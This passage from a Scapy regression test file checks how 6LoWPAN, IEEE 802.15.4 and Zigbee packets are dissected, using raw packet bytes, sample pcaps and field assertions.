Dot15d4(b'A\\xc8t\\xcd\\xab\\xff\\xff\\xcf\\r\\xa4\\xfe\\xffn\\x95\\xe4z;:\\x1a\\x9b\\x01\\xd4^\\x1e\\xdc\\x02\\xba\\x95\\x7f\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\xe6\\x95n\\xff\\xfe\\xaf\\xff\\xfd\\x08\\x1e@@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x16\\x80\\x10\\xff\\xff\\xff\\xff\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\xe6\\x95n\\xff\\xfe\\xa4\\x05O')\nassert packet[LoWPAN_IPHC].sac == 0\nassert packet[LoWPAN_IPHC].sam == 3\nassert packet[LoWPAN_IPHC].dac == 0\nassert packet[LoWPAN_IPHC].dam == 3\nassert packet[LoWPAN_IPHC].src == \"fe80::e695:6eff:fea4:dcf\"\nassert packet[LoWPAN_IPHC].dst == \"ff02::1a\"\n\n= SixLoWPAN - Using ICMP\n\n#ICMP: Neighbour Solicitation\nicmp = b\"\\x7b\\xf6\\x00\\x3a\\x00\\x01\\x87\\x00\\xaa\\x66\\x00\\x00\\x00\\x00\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x01\\x02\\x02\\x11\\x22\\xff\\xfe\\x33\\x44\\x55\\x00\\x00\\x00\\x00\\x00\\x00\"\npacket = SixLoWPAN(icmp)\n#packet.show2()\nassert packet.tf == 0x3\nassert packet.nh == 0\nassert packet.hlim == 0x3\nassert packet.cid == True\nassert packet.sac == True\nassert packet.sam == 0x3\nassert packet.m == False\nassert packet.dac == True\nassert packet.dam == 0x2\nassert packet.nhField == 0x3a\n\n= LoWPAN_IPHC - Extracted packet\nicmp = Ether()/IP()/UDP()/ZEP2()/Dot15d4(fcf_srcaddrmode=2)/Dot15d4Data(src_addr=0xFFFF)/b\"\\x7b\\x3b\\x3a\\x01\\x86\\x00\\xd3\\xfd\\x80\\x00\\x00\\xc8\\x00\\x05\\x7e\\x40\\x00\\x00\\x00\\x00\\x03\\x04\\x40\\xc0\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x05\\x00\\x01\\x02\\x02\\x12\\x13\\xff\\xfe\\x14\\x15\\x16\\x7b\\x66\\x6f\\x6e\\x74\\x2d\"\npacket = Ether(raw(icmp))\nassert packet[LoWPAN_IPHC][IPv6].dst == 'ff02::1'\n\n#the same message with ethernet header\neth = Ether()/IP()/UDP()/ZEP2()/Dot15d4()/Dot15d4Data()/b\"\\x41\\xc8\\x49\\xcd\\xab\\xff\\xff\\x16\\x15\\x14\\xfe\\xff\\x13\\x12\\x02\\x7b\\x3b\\x3a\\x01\\x86\\x00\\xd3\\xfd\\x80\\x00\\x00\\xc8\\x00\\x05\\x7e\\x40\\x00\\x00\\x00\\x00\\x03\\x04\\x40\\xc0\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x05\\x00\\x01\\x02\\x02\\x12\\x13\\xff\\xfe\\x14\\x15\\x16\\x7b\\x66\\x6f\\x6e\\x74\\x2d\\xa0\\x90\"\npacket = Ether(raw(eth))\nassert LoWPANUncompressedIPv6 in packet\n\n= LoWPAN_IPHC - Extracted packet 2\n\n#NOTE: this is not a real package, it's the first fragment from a udp packet\n# extracted from 6lowpan-test.pcap\nudp = Ether()/IP()/UDP()/ZEP2()/Dot15d4()/Dot15d4Data()/b\"\\x7e\\xf7\\x00\\xf0\\x22\\x3d\\x16\\x2e\\x8e\\x60\\x10\\x03\\x00\\x00\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x00\\x48\\x65\\x6c\\x6c\\x6f\\x20\\x31\\x20\\x66\\x72\\x6f\\x6d\\x20\\x74\\x68\\x65\\x20\\x63\\x6c\\x69\\x65\\x6e\\x74\\x2e\\x2d\\x2e\\x2d\\x2e\\x2d\\x20\\x30\\x20\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x20\\x31\\x20\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x20\\x32\\x20\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x20\\x33\\x20\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x20\\x34\\x20\\x33\\x34\\x35\\x36\"\npacket = Ether(raw(udp))\nassert packet.exts[0].udpSourcePort == 8765\nassert packet.exts[0].udpDestPort == 5678\nassert packet.exts[0].udpChecksum == 0x8e60\nassert packet[IPv6].nh == 0x11 # the ipv6 header\nassert packet[IPv6][UDP].sport == 8765 #udp decompressed header\nassert packet[IPv6][UDP].dport == 5678 #udp decompressed header\nassert packet[IPv6][UDP].chksum == 0x8e60 #udp decompressed header\npacket.show2()\n\n= SixLoWPAN - Check Traffic Class and Flow Label when TF=0\npacket = SixLoWPAN()/LoWPAN_IPHC(tf=0)/IPv6(tc = 12, fl=467)\npacket = SixLoWPAN(raw(packet))\nassert (packet.tc_ecn << 6) + packet.tc_dscp == 12\nassert packet.flowlabel == 467\n\n= SixLoWPAN - Check Traffic Class and Flow Label when TF=1\n\npacket = SixLoWPAN()/LoWPAN_IPHC(tf=1)/IPv6(tc = 12, fl=467)\npacket = SixLoWPAN(raw(packet))\nassert packet.tc_ecn == 0 and packet.flowlabel == 467\n\n= SixLoWPAN - Check Traffic Class and Flow Label when TF=2\n\npacket = SixLoWPAN()/LoWPAN_IPHC(tf=2)/IPv6(tc = 12, fl=467)\npacket = SixLoWPAN(raw(packet))\nassert (packet.tc_ecn << 6) + packet.tc_dscp == 12 and packet.flowlabel is None\npacket = SixLoWPAN()/LoWPAN_IPHC(tf=3)/IPv6(tc = 12, fl=467)\npacket = SixLoWPAN(raw(packet))\nassert packet.tc_ecn is None and packet.tc_dscp is None and packet.flowlabel is None\n\n#TODO: Next Header Test\n\n= SixLoWPAN - Checking the Hop Limit value in the IPv6 packet decompressed\npacket = SixLoWPAN()/LoWPAN_IPHC()/IPv6(tc = 12, fl=467, hlim=65)/ICMPv6EchoRequest()\npacket = SixLoWPAN(raw(packet))\nassert packet[IPv6].hlim == 65\npacket = SixLoWPAN()/LoWPAN_IPHC(hlim=1)/IPv6(tc = 12, fl=467, hlim=65)/ICMPv6EchoRequest()\npacket = SixLoWPAN(raw(packet))\nassert packet[IPv6].hlim == 1\npacket = SixLoWPAN()/LoWPAN_IPHC(hlim=2)/IPv6(tc = 12, fl=467, hlim=65)/ICMPv6EchoRequest()\npacket = SixLoWPAN(raw(packet))\nassert packet[IPv6].hlim == 64\npacket = SixLoWPAN()/LoWPAN_IPHC(hlim=3)/IPv6(tc = 12, fl=467, hlim=65)/ICMPv6EchoRequest()\npacket = SixLoWPAN(raw(packet))\nassert packet[IPv6].hlim == 255\n\n#TODO: Context Test\n\n= SixLoWPAN - Check Source Address\npacket = SixLoWPAN()/LoWPAN_IPHC(sam = 0, sac = 0, dst='ff02::1a')/IPv6(hlim=65, src=\"aaaa::1\", dst=\"ff02::1a\")/ICMPv6EchoRequest()\npacket = SixLoWPAN(raw(packet))\nassert packet.src == \"aaaa::1\"\nassert packet.dst == \"ff02::1a\"\n\n= SixLoWPAN over Ethernet\n# See https://github.com/secdev/scapy/issues/2716\npacket = Ether(b'\\xff\\xff\\xff\\xff\\xff\\xffPQRg\\x15i\\xa0\\xed~;\\x02\\xf0\\x1f\\x90\\x1f\\x90\\x03Qtesttext2')\nassert LoWPAN_IPHC in packet\nassert packet[LoWPAN_IPHC].src == \"fe80::5051:52ff:fe67:1569\"\nassert packet[LoWPAN_IPHC].dst == \"ff02::2\"\nassert packet[UDP].dport == packet[UDP].sport == 8080\n\n\n+ Dot15d4 with SixLoWPAN - Advanced dissection\n\n= Compressed SixLoWPAN - real packets with ZEP2\n\nbasic_ipv6 = b'\\x00\"\\x19\\x100\\xe5\\x00\\x1c\\xda\\x00\\x10\\x04\\x08\\x00E\\x00\\x00g>\\x0c\\x00\\x00@\\x11\\xe1\\x95\\xac\\x10\\x01\\x90\\xac\\x10\\x014EZEZ\\x00S\\xda\\x93EX\\x02\\x01\\x03\\x00Y\\x01\\xff\\x00\\x02\\xab\\xa2\\x81\\xba\\xc2\\xdf\\x00\\x00<\\x14\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00+A\\x88U\\xaa\\x1b\\xff\\xfffU{;:\\x1a\\x9b\\x01uE\\x00\\xf1\\x03Z\\x8b\\xf0\\x00\\x00\\xfd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x11\"lF'\nack_frame = b'\\x00\"\\x19\\x100\\xe5\\x00\\x1c\\xda\\x00\\x10\\x04\\x08\\x00E\\x00\\x00A>\\x0e\\x00\\x00@\\x11\\xe1\\xb9\\xac\\x10\\x01\\x90\\xac\\x10\\x014EZEZ\\x00-d7EX\\x02\\x01\\x03\\x00Y\\x01\\xff\\x00\\x02\\xab\\xa8\\x84\\xcb\\x07\\xd0\\x00\\x00<\\x16\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x02\\x00[\\xeeY'\nrouter_adv = b'\\x00\"\\x19\\x100\\xe5\\x00\\x1c\\xda\\x00\\x10\\x04\\x08\\x00E\\x00\\x00\\xab>F\\x00\\x00@\\x11\\xe1\\x17\\xac\\x10\\x01\\x90\\xac\\x10\\x014EZEZ\\x00\\x97\\x81\\xb0EX\\x02\\x01\\x03\\x00Y\\x01\\xff\\x00\\x02\\xab\\xe8E\\xce\\xbf\\xec\\x00\\x00<N\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00oA\\x88_\\xaa\\x1b\\xff\\xfffU{;:\\x01\\x86\\x00\\xbe\\x87@\\x00\\x07\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x01Uf\\x00\\x00\\x00\\x00!\\x03\\x00\\x00\\x00\\x00\\x00\\x01\\xfd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x11\"\\x03\\x04@@\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\xfd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x02@\\x10\\x00\\x00\\x00\\x03\\xfd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc27'\n\npkt_1 = Ether(basic_ipv6)\npkt_2 = Ether(ack_frame)\npkt_3 = Ether(router_adv)\n\nassert ZEP2 in pkt_1\nassert pkt_1[LoWPAN_IPHC].src == \"fe80::ff:fe00:5566\"\n\nassert ZEP2 in pkt_2\nassert Dot15d4Ack in pkt_2\n\nassert ZEP2 in pkt_3\nassert ICMPv6NDOptSrcLLAddr in pkt_3\nassert pkt_3[Dot15d4Data].dest_panid == 0x1baa\n\n= SixLoWPAN - Using ETH\n\n# It requires the ETH message\nlowpan_iphc_header = Ether()/IP()/UDP()/ZEP2()/Dot15d4()/Dot15d4Data()/b\"\\x78\\xe7\\x00\\x06\\x80\\x00\\x01\"\npacket = Ether(raw(lowpan_iphc_header))\nassert packet.tf == 0x3\nassert packet.nh == 0\nassert packet.hlim == 0x0\nassert packet.cid == True\nassert packet.sac == True\nassert packet.sam == 0x2\nassert packet.m == 0x0\nassert packet.dac == 0x1\nassert packet.dam == 0x03\nassert packet.nhField == 0x06\nassert packet.hopLimit == 128\n\n= SixLoWPAN - Using ETH 2\n\n# It requires the ETH message\nlowpan_iphc_header = Ether()/IP()/UDP()/ZEP2()/Dot15d4()/Dot15d4Data()/b\"\\x78\\xf6\\x00\\x06\\x80\\x00\\x01\"\npacket = Ether(raw(lowpan_iphc_header))\nassert packet.tf == 0x3\nassert packet.nh == 0\nassert packet.hlim == 0x0\nassert packet.cid == True\nassert packet.sac == True\nassert packet.sam == 0x3\nassert packet.m == 0x0\nassert packet.dac == 0x1\nassert packet.dam == 0x02\nassert packet.nhField == 0x06\nassert packet.hopLimit == 128\n\n= SixLoWPAN - Using ETH 3\n\nlowpan_iphc_header = Ether()/IP()/UDP()/ZEP2()/Dot15d4()/Dot15d4Data()/b\"\\x78\\xe7\\x00\\x06\\x80\\x00\\x01\"\npacket = Ether(raw(lowpan_iphc_header))\nassert packet.tf == 0x3\nassert packet.nh == 0\nassert packet.hlim == 0x0\nassert packet.cid == True\nassert packet.sac == True\nassert packet.sam == 0x2\nassert packet.m == 0x0\nassert packet.dac == 0x1\nassert packet.dam == 0x03\nassert packet.nhField == 0x06\nassert packet.hopLimit == 128\npacket.show2()\n\n\n###################\n#### Zigbee ####\n###################\n\n+ Zigbee tests\n\n= Set zigbee\n\nconf.dot15d4_protocol = \"zigbee\"\n\n= ZigbeeNWKStub - ZigbeeNWK dispatch_hook\n\npkt = Dot15d4()/Dot15d4Data()/ZigbeeNWKStub()\npkt = Dot15d4(raw(pkt))\nassert ZigbeeNWKStub in pkt\n\n= Zigbee - ZCLGeneralReadAttributesResponse \n\npkt = ZigbeeClusterLibrary()/ZCLGeneralReadAttributesResponse(read_attribute_status_record=[ZCLReadAttributeStatusRecord(attribute_data_type=0x08, attribute_value=b\"\\xee\")])\npkt = ZigbeeClusterLibrary(raw(pkt))\nassert ZCLGeneralReadAttributesResponse in pkt\nassert pkt.read_attribute_status_record[0].attribute_data_type == 0x08\nassert pkt.read_attribute_status_record[0].attribute_value == b'\\xee'\nassert raw(pkt) == b'\\x00\\x00\\x01\\x00\\x00\\x00\\x08\\xee'\n\n= Zigbee - ZigbeeAppDataPayload\n\npkt = ZigbeeAppDataPayload(b'@\\x01\\x00\\x00\\x04\\x01\\x01\\r\\x18 \\x01\\x00\\x00\\x00 \\x01\\x04\\x00\\x00B\\x07sengled')\n\nassert ZigbeeClusterLibrary in pkt\nassert ZCLGeneralReadAttributesResponse in pkt\nassert pkt.command_identifier == 1\nassert len(pkt.read_attribute_status_record) == 2\n\nassert pkt.read_attribute_status_record[0].status == 0\nassert pkt.read_attribute_status_record[0].attribute_data_type == 0x20\nassert pkt.read_attribute_status_record[0].attribute_value == b'\\x01'\n\nassert pkt.read_attribute_status_record[1].status == 0\nassert pkt.read_attribute_status_record[1].attribute_data_type == 0x42\nassert pkt.read_attribute_status_record[1].attribute_value == b'\\x07sengled'\n\n= Zigbee - advanced dissection\n\nimport os\nfilename = scapy_path(\"/test/pcaps/zigbee-join-authenticate.pcap\")\na = rdpcap(filename)\n\npkt1 = a[0]  # Data\npkt2 = a[1]  # Command\npkt3 = a[2]  # Beacon\npkt4 = a[38]  # ack\n\nassert Dot15d4 in pkt1\nassert ZigbeeNWK in pkt1\nassert ZigbeeSecurityHeader in pkt1\nassert pkt1[ZigbeeNWK].flags == 18\nassert pkt1[ZigbeeNWK].ext_src == 3781220488824152\nf,v = pkt1[ZigbeeNWK].getfield_and_val(\"ext_src\")\nassert f.i2repr(None, v) == \"00:0d:6f:00:00:0d:c5:58\"\nassert pkt1[ZigbeeSecurityHeader].source == 3781220488824152\nassert pkt1[ZigbeeSecurityHeader].key_type == 1\nassert pkt1[ZigbeeSecurityHeader].extended_nonce == 1\n\nassert Dot15d4 in pkt2\nassert Dot15d4Cmd in pkt2\nassert pkt2[Dot15d4Cmd].dest_addr == 0xffff\nassert pkt2[Dot15d4Cmd].dest_panid == 0xffff\nassert pkt2[Dot15d4Cmd].cmd_id == 7\n\nassert Dot15d4 in pkt3\nassert Dot15d4Beacon in pkt3\nassert ZigBeeBeacon in pkt3\nassert pkt3[Dot15d4Beacon].src_panid == 0x1ff\nassert pkt3[ZigBeeBeacon].nwkc_protocol_version== 2\nassert pkt3[ZigBeeBeacon].extended_pan_id == 125823003551091\nf,v = pkt3[ZigBeeBeacon].getfield_and_val(\"extended_pan_id\")\nassert f.i2repr(None, v) == \"00:00:72:6f:73:6e:65:73\"\nassert pkt3[ZigBeeBeacon].tx_offset == 16777215\n\n= Zigbee - skke_1 transport key\n\nfilename = scapy_path(\"/test/pcaps/zigbee-transport-key-skke_1.pcap\")\na = rdpcap(filename)\n\npkt1 = a[0]  # AppCommandPayload with transport key\n\nassert Dot15d4FCS in pkt1\nassert ZigbeeNWK in pkt1\nassert ZigbeeAppDataPayload in pkt1\nassert ZigbeeAppCommandPayload in pkt1\nassert pkt1[ZigbeeAppCommandPayload].cmd_identifier == 5\nf,v = pkt1[ZigbeeAppCommandPayload].getfield_and_val(\"cmd_identifier\")\nassert f.i2repr(None, v) == \"APS_CMD_TRANSPORT_KEY\"\nassert pkt1[ZigbeeAppCommandPayload].key == b\"&Tkr;9jr{]RqQ}9/\"\nassert pkt1[ZigbeeAppCommandPayload].key_seqnum == 0\nassert pkt1[ZigbeeAppCommandPayload].dest_addr == 4502500120025882\nf,v = pkt1[ZigbeeAppCommandPayload].getfield_and_val(\"dest_addr\")\nassert f.i2repr(None, v) == \"00:0f:ff:00:00:41:5b:1a\"\nassert pkt1[ZigbeeAppCommandPayload].src_addr == 18446744073709551615\nf,v = pkt1[ZigbeeAppCommandPayload].getfield_and_val(\"src_addr\")\nassert f.i2repr(None, v) == \"ff:ff:ff:ff:ff:ff:ff:ff\"\n\n= Zigbee - Link Status\n\npkt = ZigbeeNWKCommandPayload(b'\\x08c\\x00\\x00\\x11\\xad\\xde\\x11\\xde\\xc0\\x11')\nassert ZigbeeNWKCommandPayload in pkt.layers()\nassert pkt[ZigbeeNWKCommandPayload].cmd_identifier == 0x08\nassert pkt[ZigbeeNWKCommandPayload].entry_count == 3\nassert pkt[ZigbeeNWKCommandPayload].first_frame == 1\nassert pkt[ZigbeeNWKCommandPayload].last_frame == 1\nassert len(pkt[ZigbeeNWKCommandPayload].link_status_list) == 3\nassert pkt[ZigbeeNWKCommandPayload].link_status_list[0].neighbor_network_address == 0x0000\nassert pkt[ZigbeeNWKCommandPayload].link_status_list[0].incoming_cost == 1\nassert pkt[ZigbeeNWKCommandPayload].link_status_list[0].outgoing_cost == 1\nassert raw(pkt[ZigbeeNWKCommandPayload].link_status_list[0].payload) == b''\nassert pkt[ZigbeeNWKCommandPayload].link_status_list[1].neighbor_network_address == 0xdead\nassert pkt[ZigbeeNWKCommandPayload].link_status_list[1].incoming_cost == 1\nassert pkt[ZigbeeNWKCommandPayload].link_status_list[1].outgoing_cost == 1\nassert raw(pkt[ZigbeeNWKCommandPayload].link_status_list[1].payload) == b''\nassert pkt[ZigbeeNWKCommandPayload].link_status_list[2].neighbor_network_address == 0xc0de\nassert pkt[ZigbeeNWKCommandPayload].link_status_list[2].incoming_cost == 1\nassert pkt[ZigbeeNWKCommandPayload].link_status_list[2].outgoing_cost == 1\nassert raw(pkt[ZigbeeNWKCommandPayload].link_status_list[2].payload) == b''\nassert raw(pkt[ZigbeeNWKCommandPayload].payload) == b''\n\n= Zigbee - Network Report\n\npkt = ZigbeeNWKCommandPayload(b'\\t\\x01\\x88wfUD3\"\\x11\\xaa\\x99')\nassert ZigbeeNWKCommandPayload in pkt.layers()\nassert pkt[ZigbeeNWKCommandPayload].cmd_identifier == 0x09\nassert pkt[ZigbeeNWKCommandPayload].report_information_count == 0b00001\nassert pkt[ZigbeeNWKCommandPayload].report_command_identifier == 0b000\nassert pkt[ZigbeeNWKCommandPayload].epid == 0x1122334455667788\nassert pkt[ZigbeeNWKCommandPayload].PAN_ID_conflict_report == [0x99aa]\nassert raw(pkt[ZigbeeNWKCommandPayload].payload) == b''\n\n= Zigbee - End Device Timeout Request\n\npkt = ZigbeeNWKCommandPayload(b'\\x0b\\x03\\x00')\nassert ZigbeeNWKCommandPayload in pkt.layers()\nassert pkt[ZigbeeNWKCommandPayload].cmd_identifier == 0x0b\nassert pkt[ZigbeeNWKCommandPayload].req_timeout == 3\nassert pkt[ZigbeeNWKCommandPayload].ed_conf == 0\nassert raw(pkt[ZigbeeNWKCommandPayload].payload) == b''\n\n= Zigbee - End Device Timeout Response\n\npkt = ZigbeeNWKCommandPayload(b'\\x0c\\x00\\x03')\nassert ZigbeeNWKCommandPayload in pkt.layers()\nassert pkt[ZigbeeNWKCommandPayload].cmd_identifier == 0x0c\nassert pkt[ZigbeeNWKCommandPayload].status == 0\nassert pkt[ZigbeeNWKCommandPayload].mac_data_poll_keepalive == 1\nassert pkt[ZigbeeNWKCommandPayload].ed_timeout_req_keepalive == 1\nassert raw(pkt[ZigbeeNWKCommandPayload].payload) == b''\n\n= Zigbee - Transport Key\n\npkt = ZigbeeAppCommandPayload(b'\\x05\\x01\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\t\\n\\x0b\\x0c\\r\\x0e\\x0f\\x00\\x88wfUD3\"\\x11\\xff\\xee\\xdd\\xcc\\xbb\\xaa\\x99\\x88')\nassert ZigbeeAppCommandPayload in pkt.layers()\nassert pkt[ZigbeeAppCommandPayload].cmd_identifier == 0x05\nassert pkt[ZigbeeAppCommandPayload].key_type == 1\nassert pkt[ZigbeeAppCommandPayload].key == b'\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\t\\n\\x0b\\x0c\\r\\x0e\\x0f'\nassert pkt[ZigbeeAppCommandPayload].key_seqnum == 0\nassert pkt[ZigbeeAppCommandPayload].dest_addr == 0x1122334455667788\nassert pkt[ZigbeeAppCommandPayload].src_addr == 0x8899aabbccddeeff\nassert raw(pkt[ZigbeeAppCommandPayload].payload) == b''\n\n= Zigbee - Request Key\n\npkt = ZigbeeAppCommandPayload(b'\\x08\\x04')\nassert ZigbeeAppCommandPayload in pkt.layers()\nassert pkt[ZigbeeAppCommandPayload].cmd_identifier == 0x08\nassert pkt[ZigbeeAppCommandPayload].key_type == 0x04\nassert raw(pkt[ZigbeeAppCommandPayload].payload) == b''\n\n= Zigbee - Tunnel\n\npkt = ZigbeeAppCommandPayload(b'\\x0e\\x88wfUD3\"\\x11!\\xe20\\x0bP\\x00\\x00\\xff\\xee\\xdd\\xcc\\xbb\\xaa\\x99\\x88\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xcc\\xcc\\xcc\\xcc')\nassert ZigbeeAppCommandPayload in pkt.layers()\nassert pkt[ZigbeeAppCommandPayload].cmd_identifier == 0x0e\nassert pkt[ZigbeeAppCommandPayload].dest_addr == 0x1122334455667788\nassert pkt[ZigbeeAppCommandPayload].aps_frametype == 1\nassert pkt[ZigbeeAppCommandPayload].delivery_mode == 0\nassert pkt[ZigbeeAppCommandPayload].frame_control == 0b0010\nassert ZigbeeSecurityHeader in pkt.layers()\nassert raw(pkt[ZigbeeSecurityHeader]) == b'0\\x0bP\\x00\\x00\\xff\\xee\\xdd\\xcc\\xbb\\xaa\\x99\\x88\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xdd\\xcc\\xcc\\xcc\\xcc'\n\n= Zigbee - Verify Key\n\npkt = ZigbeeAppCommandPayload(b'\\x0f\\x04\\x88wfUD3\"\\x11\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\t\\n\\x0b\\x0c\\r\\x0e\\x0f')\nassert ZigbeeAppCommandPayload in pkt.layers()\nassert pkt[ZigbeeAppCommandPayload].cmd_identifier == 0x0f\nassert pkt[ZigbeeAppCommandPayload].key_type == 0x04\nassert pkt[ZigbeeAppCommandPayload].address == 0x1122334455667788\nassert pkt[ZigbeeAppCommandPayload].key_hash == b'\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\t\\n\\x0b\\x0c\\r\\x0e\\x0f'\nassert raw(pkt[ZigbeeAppCommandPayload].payload) == b''\n\n= Zigbee - Confirm Key\n\npkt = ZigbeeAppCommandPayload(b'\\x10\\x00\\x04\\x88wfUD3\"\\x11')\nassert ZigbeeAppCommandPayload in pkt.layers()\nassert pkt[ZigbeeAppCommandPayload].cmd_identifier == 0x10\nassert pkt[ZigbeeAppCommandPayload].status == 0\nassert pkt[ZigbeeAppCommandPayload].key_type == 0x04\nassert pkt[ZigbeeAppCommandPayload].address == 0x1122334455667788\nassert raw(pkt[ZigbeeAppCommandPayload].payload) == b''\n\n= Zigbee - APS acknowledgment (with the Acknowledgment Format enabled)\n\npkt = ZigbeeAppDataPayload(b'\\x12\\xa8')\nassert ZigbeeAppDataPayload in pkt.layers()\nassert pkt[ZigbeeAppDataPayload].aps_frametype == 2\nassert pkt[ZigbeeAppDataPayload].delivery_mode == 0\nassert pkt[ZigbeeAppDataPayload].frame_control == 0b0001\nassert pkt[ZigbeeAppDataPayload].counter == 168\nassert raw(pkt[ZigbeeAppDataPayload].payload) == b''\n\n= Zigbee - APS acknowledgment (with the Acknowledgment Format disabled)\n\npkt = ZigbeeAppDataPayload(b'\\x02\\x00\\x02\\x00\\x00\\x00\\x00\\xa6')\nassert ZigbeeAppDataPayload in pkt.layers()\npkt.show()\nassert pkt[ZigbeeAppDataPayload].aps_frametype == 2\nassert pkt[ZigbeeAppDataPayload].delivery_mode == 0\nassert pkt[ZigbeeAppDataPayload].frame_control == 0b0000\nassert pkt[ZigbeeAppDataPayload].dst_endpoint == 0\nassert pkt[ZigbeeAppDataPayload].cluster == 0x0002\nassert pkt[ZigbeeAppDataPayload].profile == 0x0000\nassert pkt[ZigbeeAppDataPayload].src_endpoint == 0\nassert pkt[ZigbeeAppDataPayload].counter == 166\nassert raw(pkt[ZigbeeAppDataPayload].payload) == b''\n\n= Zigbee - ZDP command\n\npkt = ZigbeeAppDataPayload(b'\\x08\\x006\\x00\\x00\\x00\\x00\\xb5\\x01\\x14\\x01')\nassert ZigbeeAppDataPayload in pkt.layers()\nassert pkt[ZigbeeAppDataPayload].aps_frametype == 0\nassert pkt[ZigbeeAppDataPayload].delivery_mode == 2\nassert pkt[ZigbeeAppDataPayload].frame_control == 0b0000\nassert pkt[ZigbeeAppDataPayload].dst_endpoint == 0\nassert pkt[ZigbeeAppDataPayload].cluster == 0x0036\nassert pkt[ZigbeeAppDataPayload].profile == 0x0000\nassert pkt[ZigbeeAppDataPayload].src_endpoint == 0\nassert pkt[ZigbeeAppDataPayload].counter == 181\nassert ZigbeeDeviceProfile in pkt.layers()\nassert raw(pkt[ZigbeeDeviceProfile]) == b'\\x01\\x14\\x01'\n\n\n= Zigbee - ZDP command: Device_annce\n\npkt = ZigbeeAppDataPayload(b'\\x08\\x00\\x13\\x00\\x00\\x00\\x00\\x0c\\x81\\xad\\xde\\x88wfUD3\"\\x11\\x8e')\nassert ZigbeeAppDataPayload in pkt.layers()\nassert pkt[ZigbeeAppDataPayload].aps_frametype == 0\nassert pkt[ZigbeeAppDataPayload].delivery_mode == 2\nassert pkt[ZigbeeAppDataPayload].frame_control == 0b0000\nassert pkt[ZigbeeAppDataPayload].dst_endpoint == 0\nassert pkt[ZigbeeAppDataPayload].cluster == 0x0013\nassert pkt[ZigbeeAppDataPayload].profile == 0x0000\nassert pkt[ZigbeeAppDataPayload].src_endpoint == 0\nassert pkt[ZigbeeAppDataPayload].counter == 12\nassert ZigbeeDeviceProfile in pkt.layers()\nassert pkt[ZigbeeDeviceProfile].trans_seqnum == 129\nassert ZDPDeviceAnnce in pkt.layers()\nassert pkt[ZDPDeviceAnnce].nwk_addr == 0xdead\nassert pkt[ZDPDeviceAnnce].ieee_addr == 0x1122334455667788\nassert pkt[ZDPDeviceAnnce].alternate_pan_coordinator == 0b0\nassert pkt[ZDPDeviceAnnce].device_type == 0b1\nassert pkt[ZDPDeviceAnnce].power_source == 0b1\nassert pkt[ZDPDeviceAnnce].receiver_on_when_idle == 0b1\nassert pkt[ZDPDeviceAnnce].reserved1 == 0b0\nassert pkt[ZDPDeviceAnnce].reserved2 == 0b0\nassert pkt[ZDPDeviceAnnce].security_capability == 0b0\nassert pkt[ZDPDeviceAnnce].allocate_address == 0b1\nassert raw(pkt[ZDPDeviceAnnce].payload) == b''\n\n= Zigbee - ZCL General command: Read Attributes\n\npkt = ZigbeeAppDataPayload(b'@\\x01\\n\\x00\\x04\\x01\\x01\\x9d\\x00\\x00\\x00\\x00\\x00')\nassert ZigbeeAppDataPayload in pkt.layers()\nassert pkt[ZigbeeAppDataPayload].aps_frametype == 0\nassert pkt[ZigbeeAppDataPayload].delivery_mode == 0\nassert pkt[ZigbeeAppDataPayload].frame_control == 0b0100\nassert pkt[ZigbeeAppDataPayload].dst_endpoint == 1\nassert pkt[ZigbeeAppDataPayload].cluster == 0x000a\nassert pkt[ZigbeeAppDataPayload].profile == 0x0104\nassert pkt[ZigbeeAppDataPayload].src_endpoint == 1\nassert pkt[ZigbeeAppDataPayload].counter == 157\nassert ZigbeeClusterLibrary in pkt.layers()\nassert pkt[ZigbeeClusterLibrary].zcl_frametype == 0b00\nassert 